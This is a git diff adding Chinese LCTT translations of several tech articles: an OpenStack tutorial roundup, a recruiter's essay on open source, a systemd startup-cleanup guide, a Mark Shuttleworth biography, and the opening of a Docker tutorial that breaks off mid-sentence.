+[3]: https://en.wikipedia.org/wiki/CoreOS +[4]: https://insights.ubuntu.com/2016/04/13/snaps-for-classic-ubuntu/ +[5]: https://mjg59.dreamwidth.org/l +[6]: https://mjg59.dreamwidth.org/42320.html +[7]: http://www.zdnet.com/article/linux-expert-matthew-garrett-ubuntu-16-04s-new-snap-format-is-a-security-risk/ +[8]: http://itsfoss.com/use-snap-packages-ubuntu-16-04/ diff --git a/published/201605/20160429 Master OpenStack with 5 new tutorials.md b/published/201605/20160429 Master OpenStack with 5 new tutorials.md new file mode 100644 index 0000000000..7f189b8f51 --- /dev/null +++ b/published/201605/20160429 Master OpenStack with 5 new tutorials.md @@ -0,0 +1,36 @@ +推荐五篇 OpenStack 的新指南 +======================================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/education/EDUCATION_tools.png?itok=ybxr0Qe9) + +回顾这周的 OpenStack 峰会,我仍然回味着开源云生态系统的浩瀚无垠,有那么多需要了解的项目及概念才能获得成功。不过我们很幸运,因为有许多资源让我们跟随着项目的脚步。除了[官方文档][1]外,我们还有许多来自第三方提供的培训和认证、个人分享,以及许多社区贡献的学习资源。 + +为了让我们保持获得最新消息,每个月我们将会整合发布 OpenStack 社区的最新教程、指导和小贴士等。下面是我们过去几个月最棒的发布分享。 + +- 首先,如果你正在寻找一个靠谱实惠的 OpenStack 测试实验室, Intel NUC 是最值得考虑的平台。麻雀虽小,五脏俱全,通过指导文章,可以很轻松的按照教程在 NUC 上使用 [TripleO 部署 OpenStack][2] ,并且还可以轻松避开一些常见的古怪问题。 +- 当你已经运行的一段时间 OpenStack 后,你会发现在你的云系统上许多组件生成了大量日志。其中一些是可以安全删除的,而你需要一个管理这些日志的方案。参考在部署生产 9 个月后使用 Celiometer 管理日志的[一些思考][3]。 +- 对于 OpenStack 基础设施项目的新手,想要提交补丁到 OpenStack 是相当困难的。入口在哪里,测试怎么做,我的提交步骤是怎么样的?可以通过 Arie Bregman 的这篇[博客文章][4]快速了解整个提交过程。 +- 突发计算节点失效,不知道是硬件还是软件问题。不过好消息是 OpenStack 提供了一套非常简单的迁移计划可以让你迁移当机节点到别的主机。然而,迁移过程中使用的命令令许多人感到困惑。可以通过[这篇文章][5]来理解 migrate 和 evacuate 命令的不同。 +- 网络功能虚拟化技术需要 OpenStack 之外的一些功能,而用户可能不熟悉它们。例如, SR-IOV 和 PCI 直通是最大限度地提高物理硬件性能的方式。可以学习[部署步骤][6]以使 OpenStack 的性能最大化。 + +这些文章基本涵盖了本月(译者注: 4 月)推送,如果你还需要更多文章,可以检索过去推送的 [OpenStack 文献][7]来获取更多资源。如果有你认为我们应该推荐的新教程,请在评论中告诉我们,谢谢。 + +------------------------------------------------------------------------------ + +via: https://opensource.com/business/16/4/master-openstack-new-tutorials + +作者:[Jason Baker][a] +译者:[VicYu/Vic020](http://vicyu.net) +校对:[PurlingNayuki](https://github.com/PurlingNayuki) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jason-baker + +[1]: http://docs.openstack.org/ +[2]: http://acksyn.org/posts/2016/03/tripleo-on-nucs/ +[3]: http://silverskysoft.com/open-stack-xwrpr/2016/03/long-term-openstack-usage-summary/ +[4]: http://abregman.com/2016/03/05/openstack-infra-jenkins-jobs/ +[5]: http://www.danplanet.com/blog/2016/03/03/evacuate-in-nova-one-command-to-confuse-us-all/ +[6]: https://trickycloud.wordpress.com/2016/03/28/openstack-for-nfv-applications-sr-iov-and-pci-passthrough/ +[7]: https://opensource.com/resources/openstack-tutorials diff --git a/published/201605/20160516 Open source from a recruiter's perspective.md b/published/201605/20160516 Open source from a recruiter's perspective.md new file mode 100644 index 0000000000..31402662e2 --- /dev/null +++ b/published/201605/20160516 Open source from a recruiter's perspective.md @@ -0,0 +1,50 @@ +猎头们怎么看开源 +============================================ + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/BIZ_workplay.png?itok=uQqFssrf) + +2012 年时候,我出席了一个开源社区的聚会,打那之后我就喜欢上了这个行业。 + +我做猎头很多年,现在我在 [Greythorn][1] 公司专门从事大数据方向招聘。我自己之前学习了几个月大数据,可是当我参加了 [OSCON][2] 开源大会,才发现之前的学习多么低效率。OSCON 里聚集了非常多聪明的人,他们每个人都很愿意分享他们的心得。分享的原因不是他们想推销产品,纯粹是因为喜欢。 + +我很快意识到,与其说开源和大数据是一个行业,不如说他们是一个社区(community)。这也是为什么我现在特别想把我从开源中学到的东西分享给大家,特别是给那些刚刚踏入工作的新人。 + +### 为什么雇主喜欢开源贡献者(contributor) + +我的许多客户跟我说过:一个人的技术虽然重要,但真心**喜欢**自己从事的工作更重要。如果你热爱自己的工作,即便老板不给加班工资你都忍不住想加班。 + +我的客户也经常问,“这个人没事儿的时候写代码吗?”“我能在哪儿找到他们的作品呢?”“他们有什么爱好呀?”这时候开源社区贡献者的优势就出来了,因为上面的问题就是给他们量身定做的。他们做的项目开源,这就是他们编码能力的例证。 + +#### 为什么猎头在寻找开源贡献者 + +硬派科技行业猎头了解技术,知道自己在找一个什么样的人,这样的猎头也能正确的了解对象的技能。我发现,猎头们找到的最优秀的人才很多时候也在做开源,所以我们经常直接去开源社区寻找我们的目标。猎头们会告诉雇主,“我们找到的那个人喜欢和团队一起创造了不起的产品”,而这基本上是优秀雇主共同的要求。 + +所以说:如果你的项目目标是改变人类的未来,那当这些聪明人来到你的团队之后,他们自己就会爱上自己的工作。 + +### 开源贡献者如何得到更好的职业生涯呢 + +怎么让你的贡献更广为人知呢:把代码放到 Github 上;做开源项目;参加会议和研讨等等。做这些事情你会有意想不到的收获的。 + +可以尝试问一下自己: + +* **你觉得所在的公司是否回馈开源社区这件事重要吗?**很多优秀的人才都强调这一点,回馈社区也会极大的提升他们对工作本身的满意度。 +* **你在做产品是否基于开源软件?**基于开源软件的公司的文化氛围会与其他公司与众不同,这也是你选择职位时候需要考虑的问题。 +* **你有没有特别想与之工作的人?**虽然你可以随时换项目,但如果团队里有你崇拜或者欣赏的人,那工作就棒极了。 + +假如你了解自己的人生追求,那么过滤掉那些不适合你的职位就简单多了;假如你有一个相熟的猎头,那找到相合的雇主和团队的机会就大多了。 + +虽然我自己不写代码,但我会把我从开源社区中学到的东西分享给大家。开源社区是由一大群聪明又乐于分享的人组成,我很开心我也是其中小小的一份子。 + +------------------------------------------------------------------------------ + +via: https://opensource.com/business/16/5/open-source-recruiters-perspective + +作者:[Lindsey Thorne][a] +译者:[eriwoon](https://github.com/eriwoon) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/lindsey-thorne +[1]: http://www.greythorn.com/ +[2]: http://conferences.oreilly.com/oscon diff --git a/published/20160518 Cleaning Up Your Linux Startup Process.md b/published/20160518 Cleaning Up Your Linux Startup Process.md new file mode 100644 index 0000000000..b4f8c3d02d --- /dev/null +++ b/published/20160518 Cleaning Up Your Linux Startup Process.md @@ -0,0 +1,145 @@ +Linux 系统开机启动项清理 +======= + +![Linux cleanup](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/banner-cleanup-startup.png?itok=dCcKwdoP "Clean up your startup process") + +一般情况下,常规用途的 Linux 发行版在开机启动时拉起各种相关服务进程,包括许多你可能无需使用的服务,例如蓝牙bluetooth、Avahi、 调制解调管理器ModemManager、ppp-dns(LCTT 译注:此处作者笔误 ppp-dns 应该为 pppd-dns) 等服务进程,这些都是什么东西?用于哪里,有何功能? + +Systemd 提供了许多很好的工具用于查看系统启动情况,也可以控制在系统启动时运行什么。在这篇文章中,我将说明在 Systemd 类发行版中如何关闭一些令人讨厌的进程。 + +### 查看开机启动项 + +在过去,你能很容易通过查看 `/etc/init.d` 了解到哪些服务进程会在引导时启动。Systemd 以不同的方式展现,你可以使用如下命令罗列允许开机启动的服务进程。 + +``` +$ systemctl list-unit-files --type=service | grep enabled +accounts-daemon.service enabled +anacron-resume.service enabled +anacron.service enabled +bluetooth.service enabled +brltty.service enabled +[...] +``` + +在此列表顶部,对我来说,蓝牙服务是冗余项,因为在该电脑上我不需要使用蓝牙功能,故无需运行此服务。下面的命令将停止该服务进程,并且使其开机不启动。 + +``` +$ sudo systemctl stop bluetooth.service +$ sudo systemctl disable bluetooth.service +``` + +你可以通过下面命令确定是否操作成功。 + +``` +$ systemctl status bluetooth.service + bluetooth.service - Bluetooth service + Loaded: loaded (/lib/systemd/system/bluetooth.service; disabled; vendor preset: enabled) + Active: inactive (dead) + Docs: man:bluetoothd(8) +``` + +停用的服务进程仍然能够被另外一个服务进程启动。如果你真的想在任何情况下系统启动时都不启动该进程,无需卸载该它,只需要把它掩盖起来就可以阻止该进程在任何情况下开机启动。 + +``` +$ sudo systemctl mask bluetooth.service + Created symlink from /etc/systemd/system/bluetooth.service to /dev/null. +``` + +一旦你对禁用该进程启动而没有出现负面作用感到满意,你也可以选择卸载该程序。 + +通过执行命令可以获得如下服务列表: + +``` +$ systemctl list-unit-files --type=service +UNIT FILE STATE +accounts-daemon.service enabled +acpid.service disabled +alsa-restore.service static +alsa-utils.service masked +``` + +你不能启用或禁用静态服务,因为静态服务被其他的进程所依赖,并不意味着它们自己运行。 + +### 哪些服务能够禁止? + +如何知道你需要哪些服务,而哪些又是可以安全地禁用的呢?它总是依赖于你的个性化需求。 + +这里举例了几个服务进程的作用。许多服务进程都是发行版特定的,所以你应该看看你的发行版文档(比如通过 google 或 StackOverflow)。 + +- **accounts-daemon.service** 是一个潜在的安全风险。它是 AccountsService 的一部分,AccountsService 允许程序获得或操作用户账户信息。我不认为有好的理由能使我允许这样的后台操作,所以我选择掩盖mask该服务进程。 +- **avahi-daemon.service** 用于零配置网络发现,使电脑超容易发现网络中打印机或其他的主机,我总是禁用它,别漏掉它。 +- **brltty.service** 提供布莱叶盲文设备支持,例如布莱叶盲文显示器。 +- **debug-shell.service** 开放了一个巨大的安全漏洞(该服务提供了一个无密码的 root shell ,用于帮助 调试 systemd 问题),除非你正在使用该服务,否则永远不要启动服务。 +- **ModemManager.service** 该服务是一个被 dbus 激活的守护进程,用于提供移动宽频broadband(2G/3G/4G)接口,如果你没有该接口,无论是内置接口,还是通过如蓝牙配对的电话,以及 USB 适配器,那么你也无需该服务。 +- **pppd-dns.service** 是一个计算机发展的遗物,如果你使用拨号接入互联网的话,保留它,否则你不需要它。 +- **rtkit-daemon.service** 听起来很可怕,听起来像是 rootkit。 但是你需要该服务,因为它是一个实时内核调度器real-time kernel scheduler。 +- **whoopsie.service** 是 Ubuntu 错误报告服务。它用于收集 Ubuntu 系统崩溃报告,并发送报告到 https://daisy.ubuntu.com 。 你可以放心地禁止其启动,或者永久的卸载它。 +- **wpa_supplicant.service** 仅在你使用 Wi-Fi 连接时需要。 + +### 系统启动时发生了什么? + +Systemd 提供了一些命令帮助调试系统开机启动问题。该命令会重演你的系统启动的所有消息。 + +``` +$ journalctl -b + +-- Logs begin at Mon 2016-05-09 06:18:11 PDT, +end at Mon 2016-05-09 10:17:01 PDT. -- +May 16 06:18:11 studio systemd-journal[289]: +Runtime journal (/run/log/journal/) is currently using 8.0M. +Maximum allowed usage is set to 157.2M. +Leaving at least 235.9M free (of currently available 1.5G of space). +Enforced usage limit is thus 157.2M. +[...] +``` + +通过命令 `journalctl -b -1` 可以复审前一次启动,`journalctl -b -2` 可以复审倒数第 2 次启动,以此类推。 + +该命令会打印出大量的信息,你可能并不关注所有信息,只是关注其中问题相关部分。为此,系统提供了几个过滤器,用于帮助你锁定目标。让我们以进程号为 1 的进程为例,该进程是所有其它进程的父进程。 + +``` +$ journalctl _PID=1 + +May 08 06:18:17 studio systemd[1]: Starting LSB: Raise network interfaces.... +May 08 06:18:17 studio systemd[1]: Started LSB: Raise network interfaces.. +May 08 06:18:17 studio systemd[1]: Reached target System Initialization. +May 08 06:18:17 studio systemd[1]: Started CUPS Scheduler. +May 08 06:18:17 studio systemd[1]: Listening on D-Bus System Message Bus Socket +May 08 06:18:17 studio systemd[1]: Listening on CUPS Scheduler. +[...] +``` + +这些打印消息显示了什么被启动,或者是正在尝试启动。 + +一个最有用的命令工具之一 `systemd-analyze blame`,用于帮助查看哪个服务进程启动耗时最长。 + +``` +$ systemd-analyze blame + 8.708s gpu-manager.service + 8.002s NetworkManager-wait-online.service + 5.791s mysql.service + 2.975s dev-sda3.device + 1.810s alsa-restore.service + 1.806s systemd-logind.service + 1.803s irqbalance.service + 1.800s lm-sensors.service + 1.800s grub-common.service +``` + +这个特定的例子没有出现任何异常,但是如果存在系统启动瓶颈,则该命令将能发现它。 + +你也能通过如下资源了解 Systemd 如何工作: + +- [理解和使用 Systemd](https://www.linux.com/learn/understanding-and-using-systemd) +- [介绍 Systemd 运行级别和服务管理命令](https://www.linux.com/learn/intro-systemd-runlevels-and-service-management-commands) +- [再次前行,另一个 Linux 初始化系统:Systemd 介绍](https://www.linux.com/learn/here-we-go-again-another-linux-init-intro-systemd) + +---- + +via: https://www.linux.com/learn/cleaning-your-linux-startup-process + +作者:[David Both](https://www.linux.com/users/cschroder) +译者:[penghuster](https://github.com/penghuster) +校对:[wxy](https://github.com/wxy) + +本文由 LCTT 原创编译,Linux中国 荣誉推出 diff --git a/published/201606/20151023 Mark Shuttleworth--The Man Behind Ubuntu Operating System.md b/published/201606/20151023 Mark Shuttleworth--The Man Behind Ubuntu Operating System.md new file mode 100644 index 0000000000..b5923ca86a --- /dev/null +++ b/published/201606/20151023 Mark Shuttleworth--The Man Behind Ubuntu Operating System.md @@ -0,0 +1,129 @@ +马克·沙特尔沃思 – Ubuntu 背后的那个男人 +================================================================================ + +![](http://www.unixmen.com/wp-content/uploads/2015/10/Mark-Shuttleworth-652x445.jpg) + +**马克·理查德·沙特尔沃思(Mark Richard Shuttleworth)** 是 Ubuntu 的创始人,也被称作 [Debian 背后的人][1]([之一][2])。他于 1973 年出生在南非的韦尔科姆(Welkom)。他不仅是个企业家,还是个太空游客——他是第一个前往太空旅行的非洲独立国家的公民。 + +马克曾在 1996 年成立了一家名为 **Thawte** 的互联网商务安全公司,那时他还在开普敦大学( University of Cape Town)的学习金融和信息技术。 + +2000 年,马克创立了 HBD(Here be Dragons (此处有龙/危险)的缩写,所以其吉祥物是一只龙),这是一家投资公司,同时他还创立了沙特尔沃思基金会(Shuttleworth Foundation),致力于以奖金和投资等形式给社会中有创新性的领袖提供资助。 + +> “移动设备对于个人电脑行业的未来而言至关重要。比如就在这个月,相对于平板电脑的发展而言,传统 PC 行业很明显正在萎缩。所以如果我们想要涉足个人电脑产业,我们必须首先涉足移动行业。移动产业之所以有趣,是因为在这里没有盗版 Windows 操作系统的市场。所以如果你为你的操作系统赢得了一台设备的市场份额,这台设备会一直使用你的操作系统。在传统 PC 行业,我们时不时得和“免费”的 Windows 产生竞争,这是一种非常微妙的挑战。所以我们现在的重心是围绕 Ubuntu 和移动设备——手机和平板——以图与普通用户建立更深层次的联系。” +> +> — 马克·沙特尔沃思 + +2002 年,他在俄罗斯的星城(Star City)接受了为期一年的训练,随后作为联盟号 TM-34 任务组的一员飞往了国际空间站。再后来,在面向有志于航空航天或者其相关学科的南非学生群体发起了推广科学、编程及数学的运动后,马克 创立了 **Canonical Ltd**。此后直至2013年,他一直在领导 Ubuntu 操作系统的开发。 + +现今,沙特尔沃思拥有英国与南非双重国籍并和 18 只可爱的鸭子住在英国的 Isle of Man 小岛上的一处花园,一同的还有他可爱的女友 Claire,两条黑色母狗以及时不时经过的羊群。 + +> “电脑不仅仅是一台电子设备了。它现在是你思维的延续,以及通向他人的大门。” +> +> — 马克·沙特尔沃思 + +### 马克·沙特尔沃思的早年生活### + +正如我们之前提到的,马克出生在南非的奥兰治自由邦(Orange Free State)的韦尔科姆(Welkom)。他是一名外科医生和护士学校教师的孩子。他在西部省预科学校就读并在 1986 年成为了学生会主席,一个学期后就读于 Rondebosch 男子高中,再之后入学 Bishops Diocesan 学院并在 1991 年再次成为那里的学生会主席。 + +马克在开普敦大学( University of Cape Town)拿到了金融和信息系统的商业科学双学士学位,他在学校就读时住在 Smuts Hall。作为学生,他也在那里帮助安装了学校的第一条宿舍互联网接入。 + +>“无数的企业和国家已经证明,引入开源政策能提高竞争力和效率。在不同层面上创造生产力对于公司和国家而言都是至关重要的。” +> +> — 马克·沙特尔沃思 + +### 马克·沙特尔沃思的职业生涯 ### + +马克在 1995 年创立了 Thawte,公司专注于数字证书和互联网安全,然后在 1999 年把公司卖给了 VeriSign,赚取了大约 5.75 亿美元。 + +2000 年,马克创立了 HBD 风险资本公司,成为了商业投资人和项目孵化器。2004 年,他创立了 Canonical Ltd. 以支持和鼓励自由软件开发项目的商业化,特别是 Ubuntu 操作系统的项目。直到 2009 年,马克才从 Canonical CEO 的位置上退下。 + +> “在 [DDC](https://en.wikipedia.org/wiki/DCC_Alliance) (LCTT 译注:一个 Debian GNU/Linux 开发者联盟) 的早期,我更倾向于让拥护者们放手去做,看看能发展出什么。” +> +> — 马克·沙特尔沃思 + +### Linux、自由开源软件与马克·沙特尔沃思 ### + +在 90 年代后期,马克曾作为一名开发者参与 Debian 操作系统项目。 + +2001 年,马克创立了沙特尔沃思基金会,这是个扎根南非的、非赢利性的基金会,专注于赞助社会创新、免费/教育用途开源软件,曾赞助过[自由烤面包机][3](Freedom Toaster)(LCTT 译注:自由烤面包机是一个可以给用户带来的 CD/DVD 上刻录自由软件的公共信息亭)。 + +2004 年,马克通过出资开发基于 Debian 的 Ubuntu 操作系统返回了自由软件界,这一切也经由他的 Canonical 公司完成。 + +2005 年,马克出资建立了 Ubuntu 基金会并投入了一千万美元作为启动资金。在 Ubuntu 项目内,人们经常用一个朗朗上口的名字称呼他——“**SABDFL :自封的生命之仁慈独裁者(Self-Appointed Benevolent Dictator for Life)**”。为了能够找到足够多的高手开发这个巨大的项目,马克花费了 6 个月的时间从 Debian 邮件列表里寻找,这一切都是在他乘坐在南极洲的一艘破冰船——赫列布尼科夫船长号(Kapitan Khlebnikov)——上完成的。同年,马克买下了 Impi Linux 65% 的股份。 + + +> “我呼吁电信公司的掌权者们尽快开发出跨洲际的高效信息传输服务。” +> +> — 马克·沙特尔沃思 + +2006 年,KDE 宣布沙特尔沃思成为 KDE 的**第一赞助人(first patron)**——彼时 KDE 最高级别的赞助。这一赞助协议在 2012 年终止,取而代之的是对 Kubuntu 的资金支持,这是一个使用 KDE 作为默认桌面环境的 Ubuntu 变种。 + +![](http://www.unixmen.com/wp-content/uploads/2015/10/shuttleworth-kde.jpg) + +2009 年,Shuttleworth 宣布他会从 Canonical 的 CEO 上退位以更好地关注合作关系、产品设计和客户。从 2004 年起担任公司 COO 的珍妮·希比尔(Jane Silber)晋升为 CEO。 + +2010 年,马克由于其贡献而被开放大学(Open University)授予了荣誉学位。 + +2012 年,马克和肯尼斯·罗格夫(Kenneth Rogoff)一同在牛津大学与彼得·蒂尔(Peter Thiel)和加里·卡斯帕罗夫(Garry Kasparov)就**创新悖论**(The Innovation Enigma)展开辩论。 + +2013 年,马克和 Ubuntu 一同被授予**澳大利亚反个人隐私大哥奖**(Austrian anti-privacy Big Brother Award),理由是默认情况下, Ubuntu 会把 Unity 桌面的搜索框的搜索结果发往 Canonical 服务器(LCTT 译注:因此侵犯了个人隐私)。而一年前,马克曾经申明过这一过程进行了匿名化处理。 + +> “所有主流 PC 厂家现在都提供 Ubuntu 预安装选项,所以我们和业界的合作已经相当紧密了。但那些 PC 厂家对于给买家推广新东西这件事都很紧张。如果我们可以让 PC 买家习惯 Ubuntu 的平板/手机操作系统的体验,那他们也应该更愿意买预装 Ubuntu 的 PC。没有哪个操作系统是通过抄袭模仿获得成功的,Android 很棒,但如果我们想成功的话我们必须给市场带去更新更好的东西(LCTT 译注:而不是改进或者模仿 Android)。如果我们中没有人追寻未来的话,我们将陷入停滞不前的危险。但如果你尝试去追寻未来了,那你必须接受不是所有人对未来的预见都和你一样这一事实。” +> +> — 马克·沙特尔沃思 + +### 马克·沙特尔沃思的太空之旅 ### + +马克在 2002 年作为世界第二名自费太空游客而闻名世界,同时他也是南非第一个旅行太空的人。这趟旅行中,马克作为俄罗斯联盟号 TM-34 任务的一名乘员加入,并为此支付了约两千万美元。2 天后,联盟号宇宙飞船抵达了国际空间站,在那里马克呆了 8 天并参与了艾滋病和基因组研究的相关实验。同年晚些时候,马克随联盟号 TM-33 任务返回了地球。为了参与这趟旅行,马克花了一年时间准备与训练,其中有 7 个月居住在俄罗斯的星城。 + +![](http://www.unixmen.com/wp-content/uploads/2015/10/Mark-Shuttleworth1.jpg) + +在太空中,马克与纳尔逊·曼德拉(Nelson Mandela)和另一个 14 岁的南非女孩米歇尔·福斯特(Michelle Foster) (她问马克要不要娶她)通过无线电进行了交谈。马克礼貌地回避了这个结婚问题,但在巧妙地改换话题之前他说他感到很荣幸。身患绝症的女孩福斯特通过梦想基金会( Dream foundation)的赞助获得了与马克和纳尔逊·曼德拉交谈的机会。 + +归来后,马克在世界各地做了旅行,并和各地的学生就太空之旅发表了感言。 + +>“粗略的统计数据表明 Ubuntu 的实际用户依然在增长。而我们的合作方——戴尔、惠普、联想和其他硬件生产商,以及游戏厂商 EA、Valve 都在加入我们——这让我觉得我们在关键的领域继续领先。” +> +> — 马克·沙特尔沃思 + +### 马克·沙特尔沃思的交通工具 ### + +马克有他自己的私人客机庞巴迪全球特快(Bombardier Global Express),虽然它经常被称为 Canonical 一号,但事实上此飞机是通过 HBD 风险投资公司注册拥有的。涂画在飞机侧面的龙图案是 HBD 风投公司的吉祥物 ,名叫 Norman。 + +![](http://www.leader.co.za/leadership/logos/logomarkshuttleworthdirectory_31ce.gif) + +### 与南非储备银行的法律冲突 ### + +在从南非转移 25 亿南非兰特去往 Isle of Man 的过程中,南非储备银行征收了 2.5 亿南非兰特的税金。马克上诉了,经过冗长的法庭唇枪舌战,南非储备银行被勒令返还 2.5 亿征税,以及其利息。马克宣布他会把这 2.5 亿存入信托基金,以用于帮助那些上诉到宪法法院的案子。 + + +> “离境征税倒也不和宪法冲突。但离境征税的主要目的不是提高税收,而是通过监管资金流出来保护本国经济。” +> +> — Dikgang Moseneke 法官 + +2015 年,南非宪法法院修正了低级法院的判决结果,并宣布了上述对于离岸征税的理解。 + +### 马克·沙特尔沃思喜欢的东西 ### + +Cesária Évora、mp3、春天、切尔西(Chelsea)、“恍然大悟”(finally seeing something obvious for first time)、回家、辛纳屈(Sinatra)、白日梦、暮后小酌、挑逗、苔丝(d’Urberville)、弦理论、Linux、粒子物理、Python、转世、米格-29、雪、旅行、Mozilla、酸橙果酱、激情代价(body shots)、非洲丛林、豹、拉贾斯坦邦、俄罗斯桑拿、单板滑雪、失重、Iain m 银行、宽度、阿拉斯泰尔·雷诺兹(Alastair Reynolds)、化装舞会服装、裸泳、灵机一动、肾上腺素激情消退、莫名(the inexplicable)、活动顶篷式汽车、Clifton、国家公路、国际空间站、机器学习、人工智能、维基百科、Slashdot、风筝冲浪(kitesurfing)和 Manx lanes。 + + + +### 马克·沙特尔沃思不喜欢的东西 ### + +行政、涨工资、法律术语和公众演讲。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/mark-shuttleworth-man-behind-ubuntu-operating-system/ + +作者:[M.el Khamlichi][a] +译者:[Moelf](https://github.com/Moelf) +校对:[PurlingNayuki](https://github.com/PurlingNayuki), [wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/pirat9/ +[1]:https://wiki.debian.org/PeopleBehindDebian +[2]:https://raphaelhertzog.com/2011/11/17/people-behind-debian-mark-shuttleworth-ubuntus-founder/ +[3]:https://en.wikipedia.org/wiki/Freedom_Toaster \ No newline at end of file diff --git a/published/201606/20151210 Getting started with Docker by Dockerizing this Blog.md.md b/published/201606/20151210 Getting started with Docker by Dockerizing this Blog.md.md new file mode 100644 index 0000000000..7dd950d4a9 --- /dev/null +++ b/published/201606/20151210 Getting started with Docker by Dockerizing this Blog.md.md @@ -0,0 +1,464 @@ +通过 Docker 化一个博客网站来开启我们的 Docker 之旅 +=== + +![](http://bencane.com/static/img/post-bg.jpg) + +> 这篇文章包含 Docker 的基本概念,以及如何通过创建一个定制的 Dockerfile 来 Docker 化(Dockerize)一个应用。 + +Docker 是一个过去两年来从某个 idea 中孕育而生的有趣技术,公司组织们用它在世界上每个角落来部署应用。在今天的文章中,我将讲述如何通过“Docker 化(Dockerize)”一个现有的应用,来开始我们的 Docker 之旅。这里提到的应用指的就是这个博客! + +## 什么是 Docker? + +当我们开始学习 Docker 基本概念时,让我们先去搞清楚什么是 Docker 以及它为什么这么流行。Docker 是一个操作系统容器管理工具,它通过将应用打包在操作系统容器中,来方便我们管理和部署应用。 + +### 容器 vs. 虚拟机 + +容器和虚拟机并不完全相似,它是另外一种提供**操作系统虚拟化**的方式。它和标准的虚拟机还是有所不同。 + +标准的虚拟机一般会包括一个完整的操作系统、操作系统软件包、最后还有一至两个应用。这都得益于为虚拟机提供硬件虚拟化的管理程序。这样一来,一个单一的服务器就可以将许多独立的操作系统作为虚拟客户机运行了。 + +容器和虚拟机很相似,它们都支持在单一的服务器上运行多个操作环境,只是,在容器中,这些环境并不是一个个完整的操作系统。容器一般只包含必要的操作系统软件包和一些应用。它们通常不会包含一个完整的操作系统或者硬件的虚拟化。这也意味着容器比传统的虚拟机开销更少。 + +容器和虚拟机常被误认为是两种对立的技术。虚拟机采用一个物理服务器来提供全功能的操作环境,该环境会和其余虚拟机一起共享这些物理资源。容器一般用来隔离一个单一主机上运行的应用进程,以保证隔离后的进程之间不能相互影响。事实上,容器和 **BSD Jails** 以及 `chroot` 进程的相似度,超过了和完整虚拟机的相似度。 + +### Docker 在容器之上提供了什么 + +Docker 本身不是一个容器运行环境,事实上,只是一个与具体实现无关的容器技术,Docker 正在努力支持 [Solaris Zones](https://blog.docker.com/2015/08/docker-oracle-solaris-zones/) 和 [BSD Jails](https://wiki.freebsd.org/Docker)。Docker 提供了一种管理、打包和部署容器的方式。虽然一定程度上,虚拟机多多少少拥有这些类似的功能,但虚拟机并没有完整拥有绝大多数的容器功能,即使拥有,这些功能用起来都并没有 Docker 来的方便或那么完整。 + +现在,我们应该知道 Docker 是什么了,然后,我们将从安装 Docker,并部署一个公开的预构建好的容器开始,学习 Docker 是如何工作的。 + +## 从安装开始 + +默认情况下,Docker 并不会自动被安装在您的计算机中,所以,第一步就是安装 Docker 软件包;我们的教学机器系统是 Ubuntu 14.0.4,所以,我们将使用 Apt 软件包管理器,来执行安装操作。 + +``` +# apt-get install docker.io +Reading package lists... Done +Building dependency tree +Reading state information... Done +The following extra packages will be installed: + aufs-tools cgroup-lite git git-man liberror-perl +Suggested packages: + btrfs-tools debootstrap lxc rinse git-daemon-run git-daemon-sysvinit git-doc + git-el git-email git-gui gitk gitweb git-arch git-bzr git-cvs git-mediawiki + git-svn +The following NEW packages will be installed: + aufs-tools cgroup-lite docker.io git git-man liberror-perl +0 upgraded, 6 newly installed, 0 to remove and 0 not upgraded. +Need to get 7,553 kB of archives. +After this operation, 46.6 MB of additional disk space will be used. +Do you want to continue? [Y/n] y +``` + +为了检查当前是否有容器运行,我们可以执行`docker`命令,加上`ps`选项 + +``` +# docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +``` + +`docker`命令中的`ps`功能类似于 Linux 的`ps`命令。它将显示可找到的 Docker 容器及其状态。由于我们并没有启动任何 Docker 容器,所以命令没有显示任何正在运行的容器。 + +## 部署一个预构建好的 nginx Docker 容器 + +我比较喜欢的 Docker 特性之一就是 Docker 部署预先构建好的容器的方式,就像`yum`和`apt-get`部署包一样。为了更好地解释,我们来部署一个运行着 nginx web 服务器的预构建容器。我们可以继续使用`docker`命令,这次选择`run`选项。 + +``` +# docker run -d nginx +Unable to find image 'nginx' locally +Pulling repository nginx +5c82215b03d1: Download complete +e2a4fb18da48: Download complete +58016a5acc80: Download complete +657abfa43d82: Download complete +dcb2fe003d16: Download complete +c79a417d7c6f: Download complete +abb90243122c: Download complete +d6137c9e2964: Download complete +85e566ddc7ef: Download complete +69f100eb42b5: Download complete +cd720b803060: Download complete +7cc81e9a118a: Download complete +``` + +`docker`命令的`run`选项,用来通知 Docker 去寻找一个指定的 Docker 镜像,然后启动运行着该镜像的容器。默认情况下,Docker 容器运行在前台,这意味着当你运行`docker run`命令的时候,你的 shell 会被绑定到容器的控制台以及运行在容器中的进程。为了能在后台运行该 Docker 容器,我们使用了`-d` (**detach**)标志。 + +再次运行`docker ps`命令,可以看到 nginx 容器正在运行。 + +``` +# docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +f6d31ab01fc9 nginx:latest nginx -g 'daemon off 4 seconds ago Up 3 seconds 443/tcp, 80/tcp desperate_lalande +``` + +从上面的输出信息中,我们可以看到正在运行的名为`desperate_lalande`的容器,它是由`nginx:latest image`(LCTT 译注: nginx 最新版本的镜像)构建而来得。 + +### Docker 镜像 + +镜像是 Docker 的核心特征之一,类似于虚拟机镜像。和虚拟机镜像一样,Docker 镜像是一个被保存并打包的容器。当然,Docker 不只是创建镜像,它还可以通过 Docker 仓库发布这些镜像,Docker 仓库和软件包仓库的概念差不多,它让 Docker 能够模仿`yum`部署软件包的方式来部署镜像。为了更好地理解这是怎么工作的,我们来回顾`docker run`执行后的输出。 + +``` +# docker run -d nginx +Unable to find image 'nginx' locally +``` + +我们可以看到第一条信息是,Docker 不能在本地找到名叫 nginx 的镜像。这是因为当我们执行`docker run`命令时,告诉 Docker 运行一个基于 nginx 镜像的容器。既然 Docker 要启动一个基于特定镜像的容器,那么 Docker 